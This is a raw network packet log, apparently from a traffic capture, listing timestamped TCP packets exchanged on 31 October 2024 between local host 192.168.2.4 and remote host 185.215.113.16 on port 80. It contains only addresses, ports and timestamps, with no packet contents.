Oct 31, 2024 23:38:16.026832104 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026854992 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026943922 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026959896 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026977062 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026993990 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026999950 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027017117 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027035952 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027097940 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027113914 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027129889 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027136087 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027144909 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027152061 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027158976 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027174950 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027184963 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027190924 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027201891 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027225018 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027229071 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027277946 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027374983 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027391911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027406931 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027424097 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027431011 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027440071 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027451038 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027462006 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027470112 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027478933 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027493954 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027501106 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027508974 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027520895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027525902 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027532101 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027542114 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027550936 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027556896 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027560949 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027571917 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027580023 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027595997 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027595997 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027611017 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027626038 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027626038 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027632952 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027641058 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027656078 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027657986 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027657986 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027669907 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027671099 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027688980 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027698040 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027708054 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027713060 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027729034 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027734041 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027748108 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027805090 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027869940 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027884960 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027899981 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.027919054 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.027937889 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028141975 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028177023 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028208017 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028223038 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028239012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028254032 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028255939 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028280020 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028290033 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028322935 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028337955 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028352976 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028357983 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028369904 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028394938 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028428078 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028444052 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028461933 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028465986 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028475046 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028497934 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028577089 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028592110 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028606892 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028614044 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028621912 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028623104 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028640032 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028652906 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028659105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028669119 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028678894 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028685093 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.028701067 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028711081 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.028717995 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029203892 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029230118 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029242039 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029246092 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029261112 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029264927 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029274940 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029275894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029290915 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029290915 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029308081 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029311895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029321909 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029324055 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029341936 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029347897 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029354095 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029364109 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029382944 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029382944 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029392958 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029407024 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029417992 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029422045 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029436111 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029443026 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029452085 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029454947 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029467106 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029475927 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029485941 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029489994 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029500008 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029505014 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029520035 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029525042 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029536009 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029539108 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029551029 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029553890 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029567957 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029572964 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029586077 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029592037 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029607058 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029609919 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029628992 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029629946 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029637098 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029645920 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029660940 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029666901 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029675007 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029676914 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029684067 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029691935 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029706001 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029716969 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029730082 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029740095 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029745102 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029758930 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029774904 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029789925 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029789925 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029792070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029808044 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029812098 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029824972 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029829025 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029840946 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029855013 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029855967 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029858112 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029870033 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029872894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029887915 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029894114 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029902935 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029903889 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029927015 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029927015 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029934883 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029942989 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029957056 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029972076 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029982090 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.029984951 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.029999971 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030010939 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030015945 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030030966 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030035019 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030046940 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030051947 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030072927 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030080080 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030086040 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030096054 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030118942 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030133963 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030134916 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030150890 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030158043 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030165911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030179977 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030179977 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030195951 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030199051 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030199051 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030210972 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030214071 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030229092 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030241013 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030244112 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030252934 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030260086 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030273914 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030277014 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030289888 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030293941 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030304909 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030318975 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030328989 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030329943 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030345917 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030348063 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030361891 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030371904 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030371904 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030378103 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030402899 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030404091 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030416965 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030419111 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030436039 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030442953 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030450106 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030452967 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030464888 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030476093 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030479908 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030483961 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030494928 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030503035 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030510902 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030518055 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030527115 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030527115 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030534983 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030541897 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030558109 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030560017 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030574083 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030575991 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030589104 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030591011 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030610085 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030613899 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030625105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030630112 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030644894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030661106 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030668020 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030673981 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030688047 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030689955 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030705929 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030709982 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030719042 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030720949 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030745983 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030749083 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030762911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030771971 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030778885 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030781031 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030793905 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030801058 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030808926 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030817032 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030832052 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030834913 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030847073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030848026 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030863047 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030867100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030879974 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030886889 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030901909 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030905962 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030916929 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030921936 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030932903 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.030936003 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030950069 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.030961990 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031521082 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031662941 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031681061 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031697989 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031706095 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031723022 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031728983 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031738997 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031750917 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031759977 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031763077 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031774998 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031779051 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031794071 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031797886 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031809092 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031812906 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031826019 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031826019 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031841993 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031842947 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031856060 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031860113 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031878948 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031938076 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031953096 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031963110 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031968117 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031976938 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.031984091 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.031996965 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.032000065 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.032005072 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.032015085 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.032018900 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.032027006 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.032031059 CET	80	49837	185.215.113.16	192.168.2.4
